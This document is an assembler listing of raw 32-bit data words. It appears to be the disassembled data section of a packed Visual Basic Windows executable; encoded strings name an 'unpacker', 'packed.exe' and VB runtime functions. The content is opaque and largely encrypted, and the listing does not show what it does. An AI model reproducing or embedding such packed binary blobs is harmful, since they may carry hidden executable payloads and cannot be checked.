		dd 334001C2h, 378BF8FCh, 8D9336DAh, 7A6A0EA7h, 0E4487A51h
		dd 9F5CC8B5h, 924F61ECh, 0EBD9384Ah, 39E291C8h,	974AAD86h
		dd 0A5F60859h, 509517E4h, 0BDFE2672h, 2E7F5596h, 3361C95Dh
		dd 0C5EE9BCFh, 0F2D89B51h, 664FDBA6h, 964CB754h, 13683BC7h
		dd 80D1FB38h, 0DA6EB015h, 0E84DA663h, 0A663DA16h, 0E4CFDAF1h
		dd 10EA5BCFh, 1E000000h, 5DD085AFh, 5CA026F8h, 0E1CAE163h
		dd 0C43BCDD3h, 0CA62F693h, 0DA72E69Bh, 0CF67F38Eh, 0D37BEF9Ch
		dd 0C26AFE83h, 0D37BEF92h, 0C46CF881h, 0C860F491h, 0A277E39Eh
		dd 51E08950h, 4B9h, 59C80100h, 8704E883h, 515C2404h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 0C895C24h, 0E6895624h,	4C681h
		dd 0EE830000h, 24348704h, 242C895Ch, 68BE5650h,	0F77A1A2Ah
		dd 4ED6F7DEh, 67FAF681h, 0F0892C42h, 96BCB95Eh,	0C1295D0Ah
		dd 2C8B5458h, 4C48324h,	24048151h, 408F57A5h, 5308458Fh
		dd 8F57A5BBh, 85D2940h,	2434FF5Bh, 4C4835Dh, 51240C8Bh
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFAED15h, 0DD7FCA4Dh
		dd 30B8C02Ch, 306B257h,	0BFE0FFC5h, 7E169E14h, 0F742E68h
		dd 3A613CFCh, 8171FC3Ch, 7E3DC126h, 59443362h, 8A3355AAh
		dd 0AC4DDE2Eh, 1657D63Bh, 0B6110FABh, 6A48340Dh, 0EF1912F1h
		dd 4019DDD8h, 4310BDE6h, 802B17BAh, 0BE77BFA2h,	0A1619F07h
		dd 0E6FD012h, 2C6CAA72h, 0CB397E8Fh, 0C03398F6h, 517B5B7Ah
		dd 0F9444728h, 29557375h, 0B1312EADh, 9D1485A5h, 0C5401131h
		dd 69403235h, 6D3B2B01h, 7B3C45B9h, 0E824C41Bh,	0Ch, 0E656D71Fh
		dd 7FCBD97Fh, 0F7C22014h, 0FE13F181h, 815819DDh, 488272D9h
		dd 2C08118h, 0B5000064h, 66FF339Ah, 34FFD68Bh, 0B8B0F07h
		dd 0F000000h, 580h, 0E59BBB00h,	665E20DBh, 816A8DB9h, 51B690F6h
		dd 92EB804Ch, 0A940C681h, 0B70F2C99h, 0DAF681D9h, 8B387E23h
		dd 48F56DFh, 0E9816638h, 0FC604EC8h, 6197F580h,	0B8F1EF81h
		dd 0B70F3B36h, 0EDC781D0h, 663B36B8h, 0FF81CE8Bh, 0FFFF9CC8h
		dd 38850Fh, 8C0F0000h, 19h, 14E9h, 83C42300h, 7A625EFCh
		dd 145F26FDh, 59123E40h, 0B8B37BB6h, 24E9C4h, 6DB50000h
		dd 158CB30Fh, 0B8C7EB2Eh, 0C6F6C5E8h, 2BBB374Ch, 0BB660A47h
		dd 5FE9F656h, 38FFFFFFh, 3EAA478Bh, 8D8D5AD4h, 6B259EEh
		dd 8E8h, 16A04600h, 8C77A802h, 0F59D29B9h, 5A06AC06h, 4244BF66h
		dd 2F0D8D89h, 57BF06ACh, 0E9090F81h, 0Fh, 6461EF31h, 630233B3h
		dd 0CA78FA56h, 0C7E29D3Ch, 0AC1E0585h, 61C406h,	0EE900h
		dd 1C8F0000h, 4B48635Ch, 0D89017CFh, 7E10F687h,	0EE953h
		dd 51A60000h, 40C4C2E7h, 6A51938Eh, 0C9DD8AA0h,	0F185C75Eh
		dd 6AC27h, 81000000h, 0DCE901EEh, 0A1B5FF54h, 6A06AC2Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 3CFDC357h, 0DA20BCFEh, 3959BB5Eh,	316037AAh
		dd 0AC299185h, 55BD0906h, 6106AC01h, 0BF995FFh,	816606ACh
		dd 6AACC7CBh, 4595FF00h, 8B06AC21h, 0EE28EBC0h,	9EA873F2h
		dd 8A83EA6Dh, 0C757B43Eh, 8AB97BE4h, 4634100Ch,	0E8FC95B3h
		dd 37DA6B19h, 6489EF69h, 0B516ED5Bh, 0E87E4D3Eh, 5, 0FA64A200h
		dd 8CD5B85Eh, 0F5E032Eh, 0C681D6BFh, 6DD1h, 1E959D01h
		dd 0C92B06ACh, 0FD1BD8Bh, 34FF06ACh, 0FFBF0F31h, 298D095Bh
		dd 8106AC11h, 0C81455F3h, 81BFB43Eh, 4FF3EBEBh,	0E080600Ch
		dd 898503EAh, 6106AC1Fh, 1E04F381h, 0BF0F71FFh,	0E1C89D7h
		dd 0E7816657h, 8B58C695h, 0AC11CDBDh, 0ACE98106h, 8B2F2A9Ah
		dd 0AC2DF595h, 0A8C18106h, 892F2A9Ah, 0AC24A59Dh, 0E4F98106h
		dd 0FFFFF92h, 1885h, 0B4C88000h, 2CE9h,	76152400h, 0F73B12C0h
		dd 0F4845F16h, 60B80FCCh, 0B58529A1h, 0E906AC23h, 0FFFFFF7Ah
		dd 19F62EA6h, 10D608B9h, 8F3A459Eh, 0E593AF7h, 0A88D8D94h
		dd 6A06B25Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8B99C357h, 0AC30DD95h,	0D8D8906h
		dd 6A06AC2Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0EFD0C350h, 33EAFDD6h,	0DE389F2Bh
		dd 4B0AD781h, 85C76C38h, 6AC1E05h, 63D4h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0EC35242h, 7F4DF9BDh
		dd 8B665066h, 0C7DA8BF3h, 0AC27F185h, 6, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 8DB5FF52h, 0FC06AC11h, 0F8F08166h, 0F995FF06h, 8906AC0Bh
		dd 0AC064D85h, 0FF006A06h, 0AC214595h, 0EBC08B06h, 0B936945Fh
		dd 572B2BBFh, 8D792C84h, 730A8F97h, 76193DA0h, 88FCB51Ch
		dd 2371DF2h, 55AA2C3Fh,	0CAD91C5h, 0B7A0AD3Dh, 0B01C437Ch
		dd 5A5DCC62h, 21991CBAh, 0BD592B05h, 0E8073EAh,	4AC6CC9Dh
		dd 5A856F6Ch, 0D0A8C552h, 5A4F764Ah, 25925D14h,	2FBD3C6Ah
		dd 91D126D7h, 2E75D901h, 0F9EEAD8Bh, 168E9h, 0F926BE00h
		dd 0E705C50Ah, 5C3A4377h, 6E755F6Dh, 6B636170h,	70007265h
		dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 3 dup(0)
		dd 1C27E900h, 8F680000h, 0E906B25Fh, 0FFFA2098h, 0B2609668h
		dd 208EE906h, 8868FFFAh, 0E906B261h, 0FFFA2084h, 0B2622868h
		dd 207AE906h, 7968FFFAh, 0E906B262h, 0FFFA2070h, 0B2632B68h
		dd 2066E906h, 7E68FFFAh, 0E906B263h, 0FFFA205Ch, 0B263D768h
		dd 2052E906h, 7168FFFAh, 0E906B26Bh, 0FFFA2048h, 0B26BF368h
		dd 203EE906h, 0BE68FFFAh, 0E906B26Ch, 0FFFA2034h, 0B26D8B68h
		dd 202AE906h, 0A68FFFAh, 0E906B26Eh, 0FFFA2020h, 0B26EE968h
		dd 2016E906h, 7768FFFAh, 0E906B26Fh, 0FFFA200Ch, 0B26FE868h
		dd 2002E906h, 0BF68FFFAh, 0E906B276h, 0FFFA1FF8h, 0B277CC68h
		dd 1FEEE906h, 6B68FFFAh, 0E906B278h, 0FFFA1FE4h, 96578F62h
		dd 0CC0DC926h, 97568E7Ch, 0CE0FC727h, 96578F7Eh, 0B65512EBh
		dd 0DD0FBF7Eh, 0BC50E021h, 9871C100h, 85D49D5Ch, 0E0D7E236h
		dd 84082FE8h, 0A271AD5Eh, 360C40F3h, 7D51EF93h,	0A7679F4Fh
		dd 0F046840Dh, 0BC0CDF17h, 0AB638A4Eh, 0AACF0C85h, 64D7046Eh
		dd 0E52F28B1h, 0A712D2FEh, 0F63F546Dh, 0A13D290Dh, 39E8AA25h
		dd 292Fh, 4F8BA300h, 0F445F625h, 79E52F3Bh, 0E8209555h
		dd 8AF63F3Fh, 30B9F75Dh, 3D10C183h, 1EFA96B4h, 39E8ED9Ah
		dd 0F78Eh, 0AD5E0200h, 0FB12A271h, 9BA903C3h, 0D07ABA72h
		dd 7CCC9B59h, 0C71DAE8Bh, 14EF9335h, 81D61638h,	9335DE32h
		dd 210F23EFh, 0B57198A8h, 0F42AC375h, 42537005h, 0AC6C42C6h
		dd 0C529F11Ah, 55E62709h, 0EF92DA87h, 5D9C58B1h, 13C0FCEDh
		dd 0E29BF142h, 0CCE0EF92h, 60D08745h, 0C493538Bh, 92E32177h
		dd 6C426EEFh, 0AEC400E5h, 0EB1FCE7Dh, 406CE52Eh, 8860D081h
		dd 0AF268C4Ch, 37E48E4Ah, 0CE88F084h, 0DB6839EBh, 0FCED8C85h
		dd 7A6FE6CAh, 0D6358556h, 1E30EC02h, 0D23E8EDFh, 4CA3931Ah
		dd 0F505AF96h, 0B1ED5DDBh, 0F2A9815Ah, 8B43AAF4h, 0BD7997A5h
		dd 11F9D77Dh, 6869275Dh, 69F7BB87h, 0D1000019h,	0F747863Eh
		dd 9323E21Ah, 3080417Dh, 6DDD1CD8h, 0FA87467Eh,	69A54403h
		dd 36EE18A8h, 73AB47F7h, 2DE902B2h, 47F4A5ECh, 0E8E0D711h
		dd 5EF5795Eh, 6B677AFh,	0E4E829E5h, 0F6254F8Bh,	0E8769E5Ch
		dd 43AB81F7h, 0CFE14B8Bh, 0D5249746h, 5AE52F28h, 4BE1B676h
		dd 21C665Ah, 281B9278h,	0F63F2CF0h, 0B7045582h,	0F63F2C61h
		dd 0E25182AEh, 0F63F2CAEh, 7456DFF3h, 0F414A418h, 0BC38B138h
		dd 0B439EF46h, 0BBh, 6DAD5E38h,	74B05981h, 1E301EB4h, 458168DEh
		dd 2074C796h, 6DEF9336h, 0BF0AC841h, 0EF9331F1h, 3BFA32DBh
		dd 6AAA628Bh, 0BAFE973Dh, 0D3B89388h, 117BBF5Ah, 0F4A071C2h
		dd 0C1EDE52Fh, 0CBA16500h, 873FA818h, 0B564ED47h, 501FB5E4h
		dd 68552671h, 3E2C6051h, 5D71F63Fh, 0DF40E7D4h,	614DEBCEh
		dd 33EB02B2h, 7B4C4AE0h, 1C95501Eh, 0C606BE2Eh,	9626E56Ch
		dd 9D57BF77h, 37686984h, 1862470Bh, 25C80000h, 739828E9h
		dd 24CA7ABBh, 719929E8h, 25C474B5h, 0AC5528E9h,	75B4709Fh
		dd 2AEB23C5h, 7FBE769Ah, 27E61ECFh, 588C3F6Eh, 0A5E8E0D5h
		dd 0AF5E0E82h, 0E506B677h, 5EE4E829h, 7B171ADh,	8AEF2EE6h
		dd 44F7244Eh, 0E52F2C71h, 0E71FCEFEh, 0ED5E8D27h, 0F63F50B7h
		dd 0C6062804h, 3F511973h, 73AB43F6h, 2BE305B3h,	26E4CEBh
		dd 6D3CEB43h, 3F508ADEh, 72FBD7F6h, 5CD83450h, 0A39E8AEh
		dd 0A79551BAh, 0E54F8F47h, 0B5E36Ch, 0CB6F0000h, 0BE3539Fh
		dd 0FE179D5h, 78565506h, 0BAD014F1h, 5C3BDA69h,	2C00E52Eh
		dd 2A3179CCh, 0ACE41EAh, 4A8A5066h, 0E2099A4h, 0E93F8CDDh
		dd 36CAD90Ah, 12FE706h,	7FEA5988h, 0CC07529h, 4783E020h
		dd 4619F02Bh, 0EBC5E7B9h, 233A8B38h, 0EBC7C715h, 0A75F8838h
		dd 0F935D666h, 0AF9B6911h, 1B576B43h, 1770h, 42833BD6h
		dd 20E11DF2h, 83427A90h, 0E223DB33h, 0C203BB52h, 0E20946BFh
		dd 0B15BEB2Ah, 0E804B475h, 0AC5DED2Ch, 0A9F8B170h, 0E0D4C61Ah
		dd 0A02C0BE8h, 0B171AD5Eh, 199B4CE6h, 415031DDh, 83E92DC8h
		dd 4C0EE350h, 0E757E52Eh, 5144CD09h, 0CBB0BC7Dh, 0BE3539Fh
		dd 30B913D3h, 0A87B11D5h, 2F437A1Bh, 8B6B47E5h,	543DDC3Eh
		dd 7F15D16Dh, 82921FACh, 2F1F7304h, 0EF2F01BDh,	0B04412B8h
		dd 79C42D56h, 0BBD115F0h, 466ADB68h, 0DBF779A5h, 974FB808h
		dd 0C905E656h, 3FBE9F21h, 256955F6h, 16D0h, 0A2639B76h
		dd 0C1FD12h, 63A25AB0h,	42833BD3h, 22E31BF2h, 2E9A65Fh
		dd 51BB0BCAh, 8E45495h,	4CBD0DCCh, 49185190h, 0E0D3A6FAh
		dd 40CCEBE8h, 75DEEBFh,	54EF9336h, 35E23685h, 32FEF93h
		dd 7394A42Dh, 0ABC353BBh, 211D5B0Eh, 167F6Dh, 10CC2700h
		dd 508C61D1h, 13CB2191h, 528A62D2h, 10CC2393h, 1655ACD1h
		dd 4EFE3FF7h, 11A1609Ch, 0B000C1FDh, 175E9F57h,	0D39FF546h
		dd 0CBECE8E0h, 71AD5E47h, 7C16D2B1h, 3E1D1CAFh,	8EA2E52Fh
		dd 0D1EF6A4Fh, 0FDAC7F15h, 3EC91FACh, 3A16F63Fh, 4C0180B3h
		dd 0E2CEEBDBh, 0B7045502h, 0FCEB7161h, 380B82AEh, 80810A72h
		dd 0CB3D4B8Fh, 5779D313h, 48AA3784h, 1B378F30h,	6F268CDBh
		dd 2E963586h, 8246A32Ah, 39883BE8h, 0C695D0DEh,	658939EAh
		dd 0A0F120A9h, 0E10E42F1h, 7F53A6EFh, 0F525C6F6h, 30F1DF17h
		dd 47AF6780h, 126B5655h, 0CD6F231Fh, 75000015h,	13A3629Ah
		dd 0B707C6FEh, 0EC5C9D59h, 0B101C0FCh, 1E63A25Ah, 8541A8E7h
		dd 0DA12F444h, 8F47AB1Bh, 0D10DFE4Eh, 0BB085910h, 0E8E0D265h
		dd 5D018DAAh, 0EF933607h, 93261A72h, 360741EFh,	1A72EF93h
		dd 42EF9356h, 9D856DA9h, 0D75B0ECBh, 157AA7EBh,	0CD200000h
		dd 8B60D011h, 0CC229253h, 8961D110h, 0CD3C8C4Dh, 54ADD011h
		dd 0FD3CF817h, 0A2639B4Dh, 7C6FE12h, 5F9E56B7h,	0A0F44716h
		dd 0EDE8E0D2h, 4F8B46CAh, 17A7F625h, 0FC725F5h,	0C24B65CFh
		dd 2F2D00F1h, 0EF5C8DE5h, 0F63F4FB9h, 0EC042A06h, 61BAC60Ch
		dd 21B0FCC0h, 89000015h, 0DF6FAE66h, 8B3BFA32h,	0D868A965h
		dd 8535F430h, 126FAE66h, 71AD5CEBh, 2EE600B0h, 7BB35FEFh
		dd 25E10ABAh, 4FFCADE4h, 0E8E0D319h, 5ECD4166h,	12A271ADh
		dd 0F834DAFEh, 0CA9D5FD6h, 9E5E967Ah, 5C8DBD34h, 69BF0C5Dh
		dd 0B6EF9335h, 3575AB9Ah, 719FEF93h, 0BC8EA2B5h, 0F852924Ah
		dd 1C3C16D6h, 4B109470h, 2218C0BBh, 94000000h, 9336035Dh
		dd 5C7C6DEFh, 13A073ABh, 0EF9335BDh, 0C1002E02h, 7FB19972h
		dd 531FDFEFh, 1494h, 0DF0FBF59h, 6D9EAE27h, 0D61271B1h
		dd 30DF6FBCh, 1FAC7DF4h, 0E52F5862h, 0D382436Fh, 63DB3182h
		dd 0C20F63Fh, 0CEA46085h, 57ABAE1Dh, 5C70EBDBh,	8C42A9Ch
		dd 7F237AC9h, 0A04DFCEBh, 0A5F4A564h, 0EB7EC216h, 0AA230FFCh
		dd 79B9759Ah, 98CC7F2Eh, 0E5FCEB7Eh, 9B7040C9h,	0E600B063h
		dd 321CD832h, 0EE2EE600h, 6A0FCD44h, 14F99CC8h,	941019D8h
		dd 9C321CF8h, 2A2h, 254F8B10h, 0F617A7F6h, 0DD54FE3Eh
		dd 2F3DC3EEh, 4CBC0CE5h, 9CF04390h, 0E1F63F3Dh,	7D5144CDh
		dd 2EE60BBDh, 66B25FEFh, 3892528Ah, 42AE20Ah, 2E1771C4h
		dd 0F0DFF63Fh, 663B245Ah, 0B73E2D6Ah, 47A4F995h, 0EF2B4E8Fh
		dd 54E55685h, 59EBDB7Eh, 0EC03B575h, 0AA41F130h, 0CF07B272h
		dd 39FCEB83h, 28E405D5h, 0AC6C42E8h, 0C927F31Ah, 4FE3230Dh
		dd 5717E045h, 2A082BDDh, 77AB073Eh, 6FA7461Bh, 650FCBAEh
		dd 0BB57E7B6h, 0E069C303h, 87D772D3h, 5393BFF2h, 0B2E65504h
		dd 0FF0397F9h
		dd 816A5AD3h, 65D58445h, 0D26E4886h, 36037678h,	48A19118h
		dd 91BF7790h, 0E4570651h, 397A0B0h, 0E01CCDFDh,	207447CEh
		dd 480397A1h, 5A927A9Eh, 0EA02B474h, 19529F34h,	0CAE44EA8h
		dd 92FE220Ah, 0C7A37FD3h, 6EBD7992h, 7EF72FDEh,	24E00DBDh
		dd 1DBD52E4h, 0DF1F31EDh, 84448069h, 0DC1CD832h, 0FFB6D2F2h
		dd 6CD0BC1Eh, 30F02CDCh, 0CE23139Ah, 0E929E50Ah, 0A5AC6D43h
		dd 2B409121h, 41972475h, 8E039763h, 0A1A42BA2h,	28000000h
		dd 0B777AF5Eh, 0F232EA01h, 4593597h, 0E1E829E5h, 0C0BB4B65h
		dd 7DD36031h, 0C2EF933Dh, 7DE867EEh, 64000000h,	25E10FBFh
		dd 0B16849E5h, 177D8362h, 6780B039h, 30D96FAFh,	769727F4h
		dd 90F537BEh, 0EA035632h, 7EFAF332h, 72C0BB46h,	50h, 394F8BFEh
		dd 7FD515D1h, 60D38251h, 0EF93362Ch, 35D206B5h,	331FEF93h
		dd 50810824h, 2F44A2E3h, 3C3EFE5h, 3F665EB6h, 4C381CF6h
		dd 0E209B9E8h, 66C51B2Ah, 6435F63Fh, 0CB24668Dh, 129BB7A0h
		dd 0E8171F9Bh, 14FB4B39h, 0DBDE51D8h, 52000000h, 0F6254F8Bh
		dd 2F225C45h, 0C77425E5h, 0F63F4A91h, 4A73A91Ah, 94B8F63Fh
		dd 3326AF83h, 8469DF1Fh, 32CE8B4Eh, 3FD54B81h, 94BC90F6h
		dd 0BB95DB05h, 568A3968h, 9BF63FC9h, 0C9A3F94Ah, 0C4E8F63Fh
		dd 568A39EAh, 9BF63FC9h, 4DFD3EB7h, 12A464A0h, 6401C1FDh
		dd 1AF7AAC6h, 29B31E2h,	0E668948Bh, 7B72B138h, 39E837FFh
		dd 67F5h, 8C8E2400h, 0FD21CE23h, 45F385ADh, 199149F5h
		dd 488B1C90h, 2E42F122h, 336F9336h, 1836EE03h, 6DDE8FD8h
		dd 6F933637h, 1221A884h, 6F9335BAh, 0E40ACE22h,	70C60628h
		dd 0AA0609Ch, 0D616CE38h, 3C7511B3h, 0D9513D1Fh, 0EA3E8D1Ah
		dd 376F9337h, 0B7E6351Bh, 0EC2CE807h, 0C8FCCF46h, 0D5EF9337h
		dd 77238F9h, 78000000h,	4CA4h, 0B05EAE00h, 1AD23989h, 0B4170DAh
		dd 50EF9336h, 92528A60h, 0F8381638h, 0A465A14Eh, 0FF3FF714h
		dd 87F702A8h, 8933C98Dh, 4D27E500h, 70DF388Dh, 0B793EF92h
		dd 8ABB3FDBh, 0A7B1C0BBh, 6000000Bh, 7C4E8231h,	0BF93EF92h
		dd 2DA4608Dh, 23498BA1h, 0CD6D5AF0h, 0A682577Fh, 9321BF15h
		dd 0E200CEFh, 13F04587h, 0E7602E2Eh, 0CF4BA7C3h, 0C5B6EFABh
		dd 39h,	3F498B49h, 0A03D15D1h, 66362A4Dh, 3787547Ah, 46971ED6h
		dd 923F9FF5h, 0C0ECEFh,	6702C1B5h, 0B9D5F100h, 3666D95Dh
		dd 2A6D396h, 53020000h,	618ACE0h, 54DDF199h, 23498BD8h
		dd 369C4DADh, 0D03A10A2h, 9B7B3C14h, 5E3EB23Bh,	8CFF71ADh
		dd 0E3398ADBh, 28EF9335h, 0C6AA2C04h, 0FE25AEECh, 73E7FB77h
		dd 0C7BDBB53h, 0EA639B77h, 3265h, 498BE900h, 0CBFAD23h
		dd 0EF9335D5h, 0AB8574DEh, 0C0E824C9h, 0E00A1B46h, 604EE424h
		dd 5ED0FCE9h, 0B05EB3BFh, 0B9B5FA74h, 2BE30FBFh, 4768A2h
		dd 8B620000h, 40F02349h, 4AE6EA6h, 961FD736h, 0DD0FBF1Ah
		dd 0CA79A821h, 0EF933593h, 0BFF97759h, 8DAC5EEEh, 9335EA3Eh
		dd 351B37EFh, 0B05E30BCh, 35E63A89h, 72BEF93h, 18ABFA29h
		dd 0EF9335C4h, 0FB172509h, 0B5C64AC3h, 20E75DB9h, 0BA517F57h
		dd 9A73C302h, 9C734362h, 0EBC74160h, 0F531DA7Fh, 90C47726h
		dd 0DD7FD74Ah, 2C9A78F1h, 872203BBh, 0A2CE6E23h, 5BF8B41Eh
		dd 0BD5B314Eh, 2BE30434h, 508C7DCBh, 42F1A071h,	7FD74C0Eh
		dd 528A6353h, 6AA24E7Ch, 0B98900AAh, 85366752h,	7FD74B4Fh
		dd 0A39B09Ch, 7FD74BD3h, 467E6CDCh, 6EADACFh, 0F1C1E0CEh
		dd 0D10DFC1Ch, 60893FFFh, 4BB6EA59h, 0D7FB7FD7h, 0CD1139F9h
		dd 4864E0A1h, 5490791Ch, 33EB02B4h, 2EEFD0F3h, 0EC035632h
		dd 7649E330h, 4E8666D9h, 0A593666h, 17F04083h, 1FCEFEDFh
		dd 0D74CA1F8h, 0CB7B2A7Fh, 8F25E521h, 0D74C6ABEh, 427A927Fh
		dd 133F2882h, 70A38F9Ah, 313DB3DAh, 54669A52h, 10BA7AB2h
		dd 648ABA99h, 2CDE68A8h, 0F75530F0h, 0E0C0DA9Bh, 299A3084h
		dd 585363A4h, 0D107B467h, 1E7FD74Dh, 628BBB32h,	0BFC4AAAh
		dd 58B000D3h, 5986F9Ah,	8EA09EE4h, 2C812407h, 43833BADh
		dd 2AC713F5h, 0BB1CDCF2h, 42B2ED99h, 18D410B3h,	193B8AA4h
		dd 9079C96Dh, 0B73E9454h, 7DAE6687h, 21E11DCDh,	1171578Dh
		dd 9AB41CE8h, 0A647F113h, 2E9E4F6Eh, 60CA0AC2h,	0C101BD52h
		dd 3BD2E26Bh, 824A283h,	14D0395Ch, 0FD13A3F4h, 0DBF531DDh
		dd 0AD5EDE52h, 14D03C8Ch, 9335EF25h, 3E103CEFh,	2C9C4DB0h
		dd 69C303BBh, 488B6CE0h, 868CAC22h, 0BB5373E7h,	3A99BDh
		dd 0BF150000h, 0E626DE0Fh, 537DB950h, 96FC3FDAh, 0D50CBF18h
		dd 1AEF9335h, 0EEBFB836h, 9336075Dh, 0F17854EFh, 0EEBF2C20h
		dd 9336075Dh, 0F17854EFh, 7EF02CC1h, 21A4B9B5h,	0AE000000h
		dd 0CC3E488Bh, 0D23DB0Ch, 0CBFAD23h, 0EF9335D5h, 0D666B59Bh
		dd 870B823Ah, 0B15EB3BFh, 0B9B5FB75h, 9325AE5Dh, 6824AEFh
		dd 88FFFFFDh, 9336035Dh, 0C7AB8EFh, 0CC0D23DBh,	1ABE2D9Dh
		dd 53F939F5h, 2517BD7Dh, 0B4840DC9h, 0EB5E9E56h, 0EF9335B5h
		dd 3C80ECCEh, 62A25A8Ch, 9B7141C8h, 0FD12A263h,	0A66500C1h
		dd 0ECB90CCCh, 4EA94562h, 66E2FE6Ah, 6A7D12E6h,	1FFh, 0E20FBFE6h
		dd 3990A32Ah, 76EF9335h, 0EB23C4B2h, 5BB3812Bh,	0ED5E8DA3h
		dd 0E52F2C98h, 8BDA0925h, 3F4EE438h, 8C0529F6h,	0D511FF4Fh
		dd 964EA315h, 0B443EF45h, 1DCE5D51h, 0BE05694h,	0BFE6E9D5h
		dd 49671B53h, 442EEA89h, 0B3112497h, 2E1EEBDBh,	6DC707BFh
		dd 28E3AB43h, 0B18D6867h, 0D87FDh, 8C42F00h, 589479C9h
		dd 0BC32999h, 5A927ACAh, 8C42B9Bh, 3E4DB4C9h, 66D617CFh
		dd 39894884h, 68D819D5h, 0CF86477Fh, 0CAF72D9Eh, 6344E8E0h
		dd 71AD5EEFh, 7C16D2B1h, 69581CAFh, 4965E521h, 14C42A9Ah
		dd 73613CF2h, 73056F77h, 2B2735Dh, 49E330ECh, 7741BC07h
		dd 0D5350799h, 0E4529019h, 680BCB03h, 0BF15C6ACh, 0DE83B2C9h
		dd 0C6179EB2h, 0E1F5EC75h, 0B55D71EBh, 686D73CFh, 5F5B985h
		dd 0AD00000Dh, 0FB4B8A42h, 0AF1FDE16h, 0F4448541h, 0A919D814h
		dd 364B8A42h, 0AD6980CFh, 0F22ADC6Ch, 0B76F8333h, 0E925C676h
		dd 83306128h, 0E8E0CA4Dh, 5E39B592h, 0F3A271ADh, 93360C40h
		dd 557D51EFh, 0F2A649E4h, 0FD3FB690h, 3BF31AAAh, 0A5C057FBh
		dd 0E9019DC6h, 6FAB4EC7h, 0EC65D605h, 75E52EB1h, 316563DFh
		dd 0CA4386F3h, 8232F3DFh, 0A15DB169h, 24E5CB61h, 3CEF8541h
		dd 0CD4FF48Fh, 25C9F9EBh, 7971A714h, 92BEFCF1h,	0F14192BCh
		dd 7322E31Bh, 80E802D9h, 8469B365h, 0C228848h, 9F57B585h
		dd 0FF4C1D4Ch, 0FCF1F0A9h, 0B5EBDAF6h, 0FAFCF1F0h, 2B9D5FD6h
		dd 0A9CA0AC2h, 67D4076Dh, 0F28DF4FEh, 8347AF83h, 4D6F1973h
		dd 0C3A3D71h, 0DE00000h, 4BA010D1h, 0CE25293h, 49A111D0h
		dd 0DFC4C8Dh, 946D10D1h, 3DFC38D7h, 62A35B8Dh, 47863ED2h
		dd 1FDE16F7h, 60B40756h, 0ADE8E0C9h, 0AD5E068Ah, 16D2B171h
		dd 35DE3281h, 0F23EF93h, 0C841F221h, 95E52F5Bh,	23C878B9h
		dd 749A2AEBh, 8B7579B8h, 46F6254Fh, 6AC6CA8h, 9118D434h
		dd 4576F340h, 0D7FBE52Fh, 656AA217h, 2C08F63Fh,	9F20A440h
		dd 9F2839E8h, 0F9000000h, 0A464A049h, 0EDC3FB12h, 0B15EE864h
		dd 0EE03B575h, 0A840F636h, 9F5F9770h, 6DDB1B35h, 0D60AB980h
		dd 3EEF9335h, 7DD717CFh, 9874466Ah, 18369C5Ch, 0E78BCD9h
		dd 4AE020DCh, 745A9278h, 46F514A7h
		dd 8ABAE52Fh, 628AA460h, 61BADAAEh, 6D165A66h, 0D500000Bh
		dd 0F343823Ah, 9727E61Eh, 0CC7CBD79h, 9121E01Ch, 0FE83427Ah
		dd 65A14807h, 3AF214A4h, 6FA74BFBh, 31ED1EAEh, 5BE8B9F0h
		dd 0E8E0C905h, 5EE16D4Ah, 488469B1h, 9959957Ah,	8DDC1D33h
		dd 0E9D8DB27h, 11987D0Ch, 65DBh, 0B15ED100h, 8247B473h
		dd 2E4AAAh, 1167A3C0h, 0F531DDFDh, 71B19F35h, 65BB08DBh
		dd 0AAEF925Bh, 0C87BA886h, 0E52E83B5h, 387E96BAh, 6061B9FDh
		dd 0AEE105Ch, 0B9540000h, 0DF0CBC7Dh, 0B856E627h, 0DD0DBD7Ch
		dd 0B950E021h, 38C1BC7Dh, 8948846Bh, 0D617CF39h, 93528A66h
		dd 0D312CA23h, 2478CB9Ah, 69E8E0C8h, 0FBFC24Eh,	4FE525E1h
		dd 0D915F6C6h, 863EAF19h, 0DF17F046h, 8844A91Fh, 2A466648h
		dd 0A616C56Bh, 27058C48h, 4B2BAF4Bh, 0F821C0BBh, 0AD000001h
		dd 53976FCBh, 0C808C425h, 2F9F4C62h, 194FFCBDh,	66EF9336h
		dd 0EA4644Ah, 64E55687h, 29E52F43h, 5B50E505h, 10E0E811h
		dd 0A5B8B8D4h, 96BE7694h, 5A740C28h, 17CF3989h,	0CE0EC625h
		dd 8F3CED64h, 0DF72A606h, 4427E7CBh, 9339EA80h,	8E9C0F0Ah
		dd 8657DEB8h, 1352C435h, 0B66549E6h, 0FA29E506h, 54C418ABh
		dd 0D809F732h, 3255356Bh, 78567AF7h, 698232F1h,	0CE2745ADh
		dd 91AD62ADh, 0A0FDDh, 0A05CB700h, 803CD161h, 0E31BF141h
		dd 427A9222h, 20DC3383h, 26659CE1h, 7ECE0FC7h, 2191508Ch
		dd 60D011CDh, 0C78E4F87h, 0C7EF2596h, 1B3CE8E0h, 75B15E97h
		dd 6412D6B5h, 388E4E86h, 143A14D0h, 68F974C7h, 0AA86E521h
		dd 0E71FC979h, 0B8749626h, 0B5DF1B78h, 67873766h, 4CC56FAFh
		dd 0E1B99E7Fh, 1CCFE3EBh, 43823AACh, 0EDD19F3h,	60361DA4h
		dd 0F16E7DD3h, 0C6EEC2FCh, 32DB18C3h, 9F5DD4FAh, 0EC04C029h
		dd 686D07D6h, 817E320Eh, 29000009h, 7FCF0EC6h, 2B9B5A92h
		dd 78C809C5h, 25955490h, 0B2CF0EC6h, 11CD3C4Bh,	4E8660D0h
		dd 1BD33F8Fh, 45816ADAh, 2F9CCD84h, 0E8E0C6F9h,	86ED6146h
		dd 9335A937h, 442002EFh, 6FA740F0h, 6EAA4FE6h, 0A564D704h
